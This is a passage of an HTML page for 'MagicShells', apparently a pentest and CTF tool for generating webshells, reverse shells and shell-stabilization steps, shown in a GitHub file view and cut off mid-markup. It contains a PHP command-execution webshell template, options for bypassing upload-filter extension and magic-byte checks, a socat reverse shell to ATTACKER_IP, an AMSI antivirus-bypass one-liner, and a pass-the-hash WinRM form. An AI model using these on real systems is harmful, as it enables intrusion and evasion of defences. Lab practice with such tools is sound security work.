-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmagicshells.html
More file actions
1449 lines (1329 loc) · 87.5 KB
/
magicshells.html
File metadata and controls
1449 lines (1329 loc) · 87.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MagicShells</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body { background: #0d1117; color: #c9d1d9; font-family: 'Segoe UI', monospace; min-height: 100vh; }
.header { background: #161b22; border-bottom: 1px solid #30363d; padding: 16px 24px; display: flex; align-items: center; gap: 12px; }
.header h1 { font-size: 18px; color: #58a6ff; }
.badge { background: #21262d; border: 1px solid #30363d; border-radius: 12px; padding: 2px 10px; font-size: 11px; color: #9baab6; }
/* Top mode tabs */
.mode-tabs { display: flex; background: #161b22; border-bottom: 1px solid #30363d; padding: 0 24px; }
.mode-tab { padding: 12px 20px; cursor: pointer; font-size: 13px; color: #9baab6; border-bottom: 2px solid transparent; transition: all .2s; white-space: nowrap; }
.mode-tab.active { color: #58a6ff; border-bottom-color: #58a6ff; }
.mode-tab:hover { color: #c9d1d9; }
.page { display: block; }
.page.hidden { display: none; }
.container { padding: 20px 24px; max-width: 1100px; }
.section { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 16px; margin-bottom: 16px; }
.section h3 { font-size: 13px; color: #c9d1d9; margin-bottom: 12px; }
.row2 { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin-bottom: 16px; }
.field-label { display: block; font-size: 12px; color: #9baab6; margin-bottom: 6px; text-transform: uppercase; letter-spacing: .5px; }
input[type="text"] { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; color: #c9d1d9; font-family: monospace; font-size: 12px; padding: 8px 10px; outline: none; width: 100%; transition: border-color .15s; }
input[type="text"]:focus { border-color: #58a6ff; }
textarea { width: 100%; background: #0d1117; border: 1px solid #30363d; border-radius: 6px; color: #c9d1d9; font-family: monospace; font-size: 12px; padding: 10px; resize: vertical; outline: none; transition: border-color .15s; }
textarea:focus { border-color: #58a6ff; }
.hint { font-size: 11px; color: #9baab6; margin-top: 6px; }
hr.div { border: none; border-top: 1px solid #30363d; margin: 12px 0; }
/* Shell / Rev shell type cards */
.shell-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(195px, 1fr)); gap: 8px; }
.rev-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(210px, 1fr)); gap: 8px; }
.shell-card { display: flex; align-items: flex-start; gap: 8px; background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 10px; cursor: pointer; transition: border-color .15s, transform .12s; position: relative; overflow: visible; }
.shell-card:hover { border-color: #58a6ff; }
.shell-card:active { transform: scale(.98); }
.shell-card.active { border-color: #58a6ff; background: #1b2a3b; }
.shell-card input[type="radio"], .shell-card input[type="checkbox"] { accent-color: #58a6ff; flex-shrink: 0; margin-top: 2px; }
.shell-card .sc-label { font-size: 12px; color: #c9d1d9; font-family: monospace; }
.shell-card .sc-sub { font-size: 10px; color: #9baab6; margin-top: 2px; }
/* Hover tooltip */
.sc-tip { display: none; position: absolute; bottom: calc(100% + 8px); left: 0; min-width: 210px; max-width: 270px; background: #1c2128; border: 1px solid #30363d; border-radius: 6px; padding: 9px 11px; z-index: 200; pointer-events: none; box-shadow: 0 4px 16px rgba(0,0,0,.6); }
.shell-card:hover .sc-tip { display: block; }
.sc-tip .tip-desc { font-size: 11px; color: #c9d1d9; line-height: 1.5; }
.sc-tip .tip-best { font-size: 10px; color: #9baab6; margin-top: 7px; }
.sc-tip .tip-best strong { color: #29d4bf; font-weight: normal; }
/* Extension tags */
.ext-grid { display: flex; flex-wrap: wrap; gap: 6px; margin-bottom: 10px; }
.ext-tag { background: #21262d; border: 1px solid #30363d; border-radius: 4px; padding: 4px 10px; font-size: 11px; color: #9baab6; cursor: pointer; font-family: monospace; transition: all .15s; display: inline-flex; align-items: center; gap: 5px; }
.ext-tag:hover { border-color: #58a6ff; color: #58a6ff; }
.ext-tag:active { transform: scale(.96); }
.ext-tag.active { background: #1b2a3b; border-color: #58a6ff; color: #58a6ff; }
.ext-tag .ext-note { font-size: 10px; color: #9baab6; }
.ext-tag.active .ext-note { color: #388bfd; }
/* Magic bytes */
.magic-grid { display: flex; flex-wrap: wrap; gap: 8px; }
.magic-btn { background: #21262d; border: 1px solid #30363d; border-radius: 6px; padding: 8px 14px; font-size: 12px; color: #9baab6; cursor: pointer; transition: all .15s; }
.magic-btn:hover { border-color: #d29922; color: #d29922; }
.magic-btn:active { transform: scale(.96); }
.magic-btn.active { background: #2d2a15; border-color: #d29922; color: #d29922; }
.magic-btn[data-magic="none"].active { background: #21262d; border-color: #58a6ff; color: #58a6ff; }
/* Buttons */
.btn { background: #238636; color: #fff; border: none; border-radius: 6px; padding: 8px 18px; font-size: 13px; cursor: pointer; transition: background .2s; }
.btn:hover { background: #2ea043; }
.btn:active { transform: scale(.96); }
.btn-secondary { background: #21262d; border: 1px solid #30363d; color: #c9d1d9; }
.btn-secondary:hover { background: #30363d; }
.btn-secondary:active { transform: scale(.96); }
.btn-sm { padding: 4px 12px; font-size: 12px; }
/* Stats cards */
.cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(130px, 1fr)); gap: 12px; margin-bottom: 16px; }
.card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 14px; text-align: center; }
.card .num { font-size: 13px; font-weight: bold; color: #58a6ff; font-family: monospace; word-break: break-all; }
.card .lbl { font-size: 11px; color: #9baab6; margin-top: 4px; text-transform: uppercase; }
.card.warn .num { color: #d29922; }
.card.success .num { color: #29d4bf; }
.card.danger .num { color: #f85149; }
/* Output tabs */
.tabs-bar { display: flex; gap: 2px; }
.out-tab { padding: 8px 18px; font-size: 13px; color: #9baab6; cursor: pointer; background: #21262d; border: 1px solid #30363d; border-bottom: none; border-radius: 6px 6px 0 0; transition: all .15s; }
.out-tab:hover { color: #c9d1d9; }
.out-tab:active { transform: scale(.97); }
.out-tab.active { color: #58a6ff; background: #161b22; border-color: #58a6ff; }
.out-panel { background: #161b22; border: 1px solid #30363d; border-radius: 0 8px 8px 8px; display: none; }
.out-panel.active { display: block; }
.out-header { padding: 10px 14px; border-bottom: 1px solid #30363d; display: flex; justify-content: space-between; align-items: center; gap: 8px; flex-wrap: wrap; }
.out-header span { font-size: 12px; color: #9baab6; }
.out-textarea { width: 100%; background: #0d1117; border: none; border-radius: 0 0 8px 8px; color: #29d4bf; font-family: monospace; font-size: 12px; padding: 12px; resize: vertical; min-height: 120px; outline: none; }
.out-textarea.blue { color: #58a6ff; }
.copy-btn { background: none; border: 1px solid #30363d; color: #9baab6; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; transition: all .15s; white-space: nowrap; }
.copy-btn:hover { border-color: #58a6ff; color: #58a6ff; }
.copy-btn:active { transform: scale(.93); }
.copy-btn.copied { border-color: #29d4bf; color: #29d4bf; background: #0b3535; }
.dl-btn { background: none; border: 1px solid #30363d; color: #9baab6; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; transition: all .15s; }
.dl-btn:hover { border-color: #29d4bf; color: #29d4bf; }
.dl-btn:active { transform: scale(.93); }
/* Variant list (webshell + revshell) */
.variant-item { border-bottom: 1px solid #21262d; padding: 12px 14px; }
.variant-item:last-child { border-bottom: none; }
.variant-row { display: flex; justify-content: space-between; align-items: center; margin-bottom: 6px; flex-wrap: wrap; gap: 6px; }
.variant-name { font-size: 12px; color: #c9d1d9; font-family: monospace; font-weight: 600; }
.variant-note { font-size: 10px; color: #9baab6; background: #21262d; border-radius: 4px; padding: 2px 6px; }
.variant-code { background: #0d1117; border-radius: 4px; padding: 8px; font-family: monospace; font-size: 11px; color: #29d4bf; white-space: pre-wrap; word-break: break-all; margin-bottom: 4px; }
.variant-code.blue { color: #58a6ff; }
.variant-actions { display: flex; gap: 6px; margin-top: 6px; flex-wrap: wrap; }
/* Listener banner */
.listener-banner { background: #0b3535; border: 1px solid #29d4bf; border-radius: 8px; padding: 12px 16px; margin-bottom: 16px; display: flex; justify-content: space-between; align-items: center; gap: 12px; flex-wrap: wrap; }
.listener-banner .lb-label { font-size: 11px; color: #29d4bf; text-transform: uppercase; letter-spacing: .5px; margin-bottom: 4px; }
.listener-banner code { font-family: monospace; font-size: 13px; color: #29d4bf; }
/* Custom toggle */
.custom-toggle { font-size: 11px; color: #58a6ff; cursor: pointer; margin-top: 10px; display: inline-block; }
.custom-toggle:hover { text-decoration: underline; }
.custom-area { display: none; margin-top: 10px; }
/* Stabilize tab */
.os-btns { display: flex; gap: 8px; margin-bottom: 16px; }
.os-btn { background: #21262d; border: 1px solid #30363d; border-radius: 6px; padding: 8px 18px; font-size: 13px; color: #9baab6; cursor: pointer; transition: all .15s; }
.os-btn:hover { border-color: #58a6ff; color: #c9d1d9; }
.os-btn:active { transform: scale(.96); }
.os-btn.active { background: #1b2a3b; border-color: #58a6ff; color: #58a6ff; }
.step-card { display: flex; gap: 14px; padding: 14px 0; border-bottom: 1px solid #21262d; }
.step-card:last-child { border-bottom: none; padding-bottom: 0; }
.step-num { background: #21262d; border: 1px solid #30363d; border-radius: 50%; width: 26px; height: 26px; min-width: 26px; display: flex; align-items: center; justify-content: center; font-size: 11px; color: #58a6ff; font-weight: bold; margin-top: 1px; }
.step-body { flex: 1; min-width: 0; }
.step-title { font-size: 13px; color: #c9d1d9; margin-bottom: 3px; font-weight: 500; }
.step-note { font-size: 11px; color: #9baab6; margin-bottom: 8px; }
.step-cmds { display: flex; flex-direction: column; gap: 6px; }
.step-cmd-row { display: flex; align-items: center; gap: 8px; }
.step-cmd-label { font-size: 10px; color: #9baab6; min-width: 44px; flex-shrink: 0; text-align: right; }
.step-cmd-code { flex: 1; background: #0d1117; border-radius: 4px; padding: 7px 10px; font-family: monospace; font-size: 11px; color: #29d4bf; white-space: pre-wrap; word-break: break-all; }
.step-cmd-code.local { color: #58a6ff; }
.key-combo { display: inline-flex; gap: 5px; align-items: center; margin-top: 4px; }
.key-cap { background: #21262d; border: 1px solid #30363d; border-bottom: 2px solid #0d1117; border-radius: 4px; padding: 3px 10px; font-size: 12px; color: #c9d1d9; font-family: monospace; }
.key-plus { color: #9baab6; font-size: 11px; }
/* URL encode toggle */
.encode-toggle { background: #21262d; border: 1px solid #30363d; color: #9baab6; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; transition: all .15s; }
.encode-toggle:hover { border-color: #d29922; color: #d29922; }
.encode-toggle.active { background: #2d2a15; border-color: #d29922; color: #d29922; }
/* Trigger URL list */
.trigger-row { display: flex; align-items: center; gap: 8px; margin-bottom: 6px; }
.trigger-cmd-label { font-size: 10px; color: #9baab6; min-width: 80px; flex-shrink: 0; text-align: right; font-family: monospace; }
.trigger-url-code { flex: 1; background: #0d1117; border-radius: 4px; padding: 6px 10px; font-family: monospace; font-size: 11px; color: #29d4bf; white-space: pre-wrap; word-break: break-all; }
</style>
</head>
<body>
<div class="header">
<span>🐚</span>
<h1>MagicShells</h1>
<span class="badge">v2</span>
<span style="margin-left:auto;font-size:12px;color:#30363d;letter-spacing:1px">crafted by <span style="color:#58a6ff;font-weight:600">melmols 🐱</span></span>
</div>
<div class="mode-tabs">
<div class="mode-tab active" onclick="switchMode('webshell')">🐚 Webshell</div>
<div class="mode-tab" onclick="switchMode('revshell')">⚡ Reverse Shell</div>
<div class="mode-tab" onclick="switchMode('stabilize')">🔧 Stabilize</div>
<div class="mode-tab" onclick="switchMode('curl')">🌀 cURL Crafter</div>
</div>
<!-- ═══════════════════════════════════════════ WEBSHELL PAGE -->
<div id="page-webshell" class="page">
<div class="container">
<div class="section">
<h3>Shell Type</h3>
<div class="shell-grid" id="shell-grid"></div>
<span class="custom-toggle" id="custom-toggle">+ use custom shell code</span>
<div class="custom-area" id="custom-area">
<label class="field-label" style="margin-top:8px">Custom Shell Code</label>
<textarea id="custom-code" rows="3" placeholder="<?php system($_GET['cmd']); ?>"></textarea>
<p class="hint">Use <code style="color:#58a6ff">{param}</code> as a placeholder for the GET parameter name</p>
</div>
</div>
<div class="row2">
<div class="section" style="margin-bottom:0">
<h3>File Config</h3>
<label class="field-label">Base Filename</label>
<input type="text" id="filename-input" value="shell" placeholder="shell">
<p class="hint">Do not include an extension here</p>
<hr class="div">
<label class="field-label">GET Parameter Name</label>
<input type="text" id="param-input" value="cmd" placeholder="cmd">
</div>
<div class="section" style="margin-bottom:0">
<h3>Upload Target <span style="font-size:11px;color:#9baab6;font-weight:normal">(for curl command)</span></h3>
<label class="field-label">Upload URL</label>
<input type="text" id="url-input" placeholder="https://target.htb/upload">
<hr class="div">
<label class="field-label">Form Field Name</label>
<input type="text" id="field-input" value="file" placeholder="file">
</div>
</div>
<div class="section">
<h3>Extension Bypass Variants <span style="font-size:11px;color:#9baab6;font-weight:normal">— select all you want to generate</span></h3>
<div class="ext-grid" id="ext-grid"></div>
<div style="display:flex;gap:8px;margin-top:4px">
<button class="btn btn-secondary btn-sm" onclick="selectAllExt()">Select All</button>
<button class="btn btn-secondary btn-sm" onclick="selectNoneExt()">Select None</button>
</div>
</div>
<div class="section">
<h3>Magic Bytes Prefix <span style="font-size:11px;color:#9baab6;font-weight:normal">— prepended to shell to spoof file type checks</span></h3>
<div class="magic-grid" id="magic-grid"></div>
<p class="hint" style="margin-top:10px">PDF and GIF are ASCII-safe and work prepended directly to PHP. JPEG is binary — shown in curl command only.</p>
</div>
<div style="display:flex;gap:8px;margin-bottom:20px">
<button class="btn" onclick="generate()">🐚 Generate</button>
<button class="btn btn-secondary" onclick="clearWebshell()">Clear</button>
</div>
<div id="ws-output" style="display:none">
<div class="cards">
<div class="card"><div class="num" id="stat-file">-</div><div class="lbl">Primary File</div></div>
<div class="card success"><div class="num" id="stat-shell">-</div><div class="lbl">Shell Type</div></div>
<div class="card warn"><div class="num" id="stat-magic">None</div><div class="lbl">Magic Bytes</div></div>
<div class="card"><div class="num" id="stat-variants">0</div><div class="lbl">Variants</div></div>
</div>
<div id="ws-explain" style="display:none;margin-bottom:12px"></div>
<div class="tabs-bar">
<div class="out-tab active" data-tab="ws-shell">Shell File</div>
<div class="out-tab" data-tab="ws-curl">Curl Command</div>
<div class="out-tab" data-tab="ws-variants">All Variants</div>
<div class="out-tab" data-tab="ws-trigger">Trigger URL</div>
</div>
<div class="out-panel active" id="panel-ws-shell">
<div class="out-header">
<span id="lbl-shell">shell.php</span>
<div style="display:flex;gap:6px">
<button class="copy-btn" data-target="out-shell">copy</button>
<button class="dl-btn" id="dl-shell">⬇ download</button>
</div>
</div>
<textarea class="out-textarea" id="out-shell" readonly></textarea>
</div>
<div class="out-panel" id="panel-ws-curl">
<div class="out-header">
<span>curl upload command</span>
<button class="copy-btn" data-target="out-curl">copy</button>
</div>
<textarea class="out-textarea blue" id="out-curl" readonly></textarea>
</div>
<div class="out-panel" id="panel-ws-variants">
<div class="out-header">
<span id="lbl-variants">0 variants</span>
<button class="copy-btn" id="ws-copy-all-btn">copy all</button>
</div>
<div id="ws-variants-list"></div>
</div>
<div class="out-panel" id="panel-ws-trigger">
<div class="out-header">
<span>shell trigger URL</span>
</div>
<div style="padding:12px 14px">
<label class="field-label">Shell URL</label>
<input type="text" id="trigger-url-input" placeholder="http://target.htb/uploads/shell.php">
<p class="hint">Where the file ends up after upload — different from the upload endpoint. Edit to match the server's upload path.</p>
<div id="trigger-url-list" style="margin-top:14px"></div>
</div>
</div>
</div>
</div>
</div>
<!-- ═══════════════════════════════════════════ STABILIZE PAGE -->
<div id="page-stabilize" class="page hidden">
<div class="container">
<div class="section">
<h3>Target OS</h3>
<div class="os-btns">
<button class="os-btn active" onclick="switchStabOS('linux')">🐧 Linux</button>
<button class="os-btn" onclick="switchStabOS('windows')">🪟 Windows</button>
</div>
<!-- Linux steps -->
<div id="stab-linux">
<div class="step-card">
<div class="step-num">1</div>
<div class="step-body">
<div class="step-title">Spawn a PTY</div>
<div class="step-note">Run in the remote shell. Try in order until one works.</div>
<div class="step-cmds">
<div class="step-cmd-row"><span class="step-cmd-label">python3</span><code class="step-cmd-code">python3 -c 'import pty;pty.spawn("/bin/bash")'</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">script</span><code class="step-cmd-code">script /dev/null -c bash</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">script -q</span><code class="step-cmd-code">/usr/bin/script -qc /bin/bash /dev/null</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">socat</span><code class="step-cmd-code">socat exec:'bash -li',pty,stderr,setsid,sigint,sane -</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">perl</span><code class="step-cmd-code">perl -e 'exec "/bin/bash";'</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">ruby</span><code class="step-cmd-code">ruby -e 'exec "/bin/bash"'</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">2</div>
<div class="step-body">
<div class="step-title">Background the shell</div>
<div class="step-note">Press this in your terminal to suspend the shell.</div>
<div class="key-combo"><span class="key-cap">Ctrl</span><span class="key-plus">+</span><span class="key-cap">Z</span></div>
</div>
</div>
<div class="step-card">
<div class="step-num">3</div>
<div class="step-body">
<div class="step-title">Fix your local terminal</div>
<div class="step-note">Run this in your LOCAL terminal (not the shell). This disables echo and brings the shell back.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code local">stty raw -echo; fg</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">4</div>
<div class="step-body">
<div class="step-title">Set TERM in the remote shell</div>
<div class="step-note">Run in the remote shell after fg brings it back.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code">export TERM=xterm</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">256 color</span><code class="step-cmd-code">export TERM=xterm-256color</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">5</div>
<div class="step-body">
<div class="step-title">Resize terminal (optional)</div>
<div class="step-note">Fixes line wrapping. Run in remote shell. Match the values to your terminal size.</div>
<div class="step-cmds">
<div class="step-cmd-row">
<code class="step-cmd-code" id="stty-cmd">stty rows 38 cols 116</code>
<button class="copy-btn" id="stty-copy-btn" data-stab="stty rows 38 cols 116">copy</button>
</div>
<div style="display:flex;gap:8px;margin-top:6px;align-items:center">
<span style="font-size:11px;color:#9baab6">rows</span>
<input type="text" id="stty-rows" value="38" style="width:60px" oninput="updateSttyCmd()">
<span style="font-size:11px;color:#9baab6">cols</span>
<input type="text" id="stty-cols" value="116" style="width:60px" oninput="updateSttyCmd()">
<span class="hint" style="margin-top:0">run <code style="color:#58a6ff">stty size</code> locally to get your values</span>
</div>
</div>
</div>
</div>
</div>
<!-- Windows steps -->
<div id="stab-windows" style="display:none">
<div class="step-card">
<div class="step-num">1</div>
<div class="step-body">
<div class="step-title">Use rlwrap for your listener</div>
<div class="step-note">Start your listener with rlwrap for arrow keys and command history.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code local">rlwrap nc -lvnp 4444</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">2</div>
<div class="step-body">
<div class="step-title">Upgrade to PowerShell</div>
<div class="step-note">If you land in cmd.exe, drop into PowerShell for a better experience.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code">powershell</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">or</span><code class="step-cmd-code">powershell -NoExit -Command "& {[Console]::OutputEncoding = [System.Text.Encoding]::UTF8}"</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">3</div>
<div class="step-body">
<div class="step-title">Check who you are</div>
<div class="step-note">Confirm execution context before moving on.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code">whoami /all</code><button class="copy-btn" data-stab>copy</button></div>
<div class="step-cmd-row"><span class="step-cmd-label">privs</span><code class="step-cmd-code">whoami /priv</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">4</div>
<div class="step-body">
<div class="step-title">Bypass AMSI (if needed)</div>
<div class="step-note">Run in PowerShell if AV is blocking your scripts.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code">[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
</div>
</div>
<div class="section">
<h3>⚡ socat Full PTY <span style="font-size:11px;color:#9baab6;font-weight:normal">— skip the Ctrl+Z dance entirely, get a proper PTY directly</span></h3>
<p class="hint" style="margin-bottom:14px">Better than the python3 + stty flow. Requires <code style="color:#58a6ff">socat</code> on the target, but gives a fully interactive terminal immediately.</p>
<div class="step-card">
<div class="step-num">1</div>
<div class="step-body">
<div class="step-title">Start socat listener on your machine</div>
<div class="step-note">Run this locally instead of nc. This side allocates a real TTY.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code local">socat file:`tty`,raw,echo=0 tcp-listen:4444</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card">
<div class="step-num">2</div>
<div class="step-body">
<div class="step-title">Connect back from target</div>
<div class="step-note">Run on the target. This opens a full PTY shell, no stabilization needed after.</div>
<div class="step-cmds">
<div class="step-cmd-row"><code class="step-cmd-code">socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444</code><button class="copy-btn" data-stab>copy</button></div>
</div>
</div>
</div>
<div class="step-card" style="border-bottom:none;padding-bottom:0">
<div class="step-num" style="background:#0b3535;border-color:#29d4bf;color:#29d4bf">✓</div>
<div class="step-body">
<div class="step-title" style="color:#29d4bf">Done — fully interactive shell</div>
<div class="step-note">No Ctrl+Z, no stty raw, no export TERM needed. Arrow keys, tab completion, and Ctrl+C all work immediately.</div>
</div>
</div>
</div>
<div class="section">
<h3>Evil-WinRM <span style="font-size:11px;color:#9baab6;font-weight:normal">— connect to Windows targets with WinRM enabled</span></h3>
<p class="hint" style="margin-bottom:14px">Run from your attack machine. WinRM must be open (port 5985 / 5986 with SSL).</p>
<div class="row2">
<div>
<label class="field-label">Target IP</label>
<input type="text" id="winrm-ip" placeholder="10.10.10.10">
</div>
<div>
<label class="field-label">Port</label>
<input type="text" id="winrm-port" value="5985" placeholder="5985">
</div>
</div>
<label class="field-label" style="margin-top:10px">Username</label>
<input type="text" id="winrm-user" placeholder="Administrator">
<div class="row2" style="margin-top:10px;margin-bottom:0">
<div>
<label class="field-label">Password</label>
<input type="text" id="winrm-pass" placeholder="leave blank to use hash only">
</div>
<div>
<label class="field-label">NTLM Hash <span style="font-size:10px;color:#9baab6;font-weight:normal;text-transform:none;letter-spacing:0">pass-the-hash</span></label>
<input type="text" id="winrm-hash" placeholder="32-char NTLM hash">
</div>
</div>
<div style="display:flex;gap:16px;margin-top:12px;align-items:center">
<label style="display:flex;align-items:center;gap:6px;cursor:pointer;font-size:12px;color:#9baab6">
<input type="checkbox" id="winrm-ssl" style="accent-color:#58a6ff" onchange="winrmSslToggle()"> Use SSL (port 5986)
</label>
</div>
<div style="display:flex;gap:8px;margin-top:12px">
<button class="btn btn-sm" onclick="generateWinrm()">Generate</button>
<button class="btn btn-secondary btn-sm" onclick="clearWinrm()">Clear</button>
</div>
<div id="winrm-output" style="display:none;margin-top:14px">
<div id="winrm-list"></div>
</div>
</div>
</div>
</div>
<!-- ═══════════════════════════════════════════ REVSHELL PAGE -->
<div id="page-revshell" class="page hidden">
<div class="container">
<div class="row2">
<div class="section" style="margin-bottom:0">
<h3>Listener Config</h3>
<label class="field-label">LHOST (your IP)</label>
<input type="text" id="lhost-input" placeholder="10.10.14.1">
<p class="hint">Your tun0/VPN IP — run <code style="color:#58a6ff">ip a</code> or <code style="color:#58a6ff">ifconfig tun0</code></p>
</div>
<div class="section" style="margin-bottom:0">
<h3> </h3>
<label class="field-label">LPORT</label>
<input type="text" id="lport-input" value="4444" placeholder="4444">
<p class="hint">Start listener: <code style="color:#29d4bf">nc -lvnp 4444</code></p>
</div>
</div>
<div class="section">
<h3>Shell Types <span style="font-size:11px;color:#9baab6;font-weight:normal">— select all you want to generate</span></h3>
<div class="rev-grid" id="rev-grid"></div>
<div style="display:flex;gap:8px;margin-top:10px">
<button class="btn btn-secondary btn-sm" onclick="selectAllRev()">Select All</button>
<button class="btn btn-secondary btn-sm" onclick="selectNoneRev()">Select None</button>
</div>
</div>
<div style="display:flex;gap:8px;margin-bottom:20px">
<button class="btn" onclick="generateRev()">⚡ Generate</button>
<button class="btn btn-secondary" onclick="clearRevshell()">Clear</button>
</div>
<div id="rev-output" style="display:none">
<div class="listener-banner" id="listener-banner">
<div>
<div class="lb-label">Start your listener</div>
<code id="listener-cmd">nc -lvnp 4444</code>
</div>
<button class="copy-btn" id="copy-listener-btn">copy</button>
</div>
<div class="cards">
<div class="card success"><div class="num" id="rev-stat-host">-</div><div class="lbl">LHOST</div></div>
<div class="card warn"><div class="num" id="rev-stat-port">-</div><div class="lbl">LPORT</div></div>
<div class="card"><div class="num" id="rev-stat-count">0</div><div class="lbl">Shells</div></div>
</div>
<div class="section" style="padding:0;overflow:hidden">
<div style="padding:10px 14px;border-bottom:1px solid #30363d;display:flex;align-items:center;gap:10px">
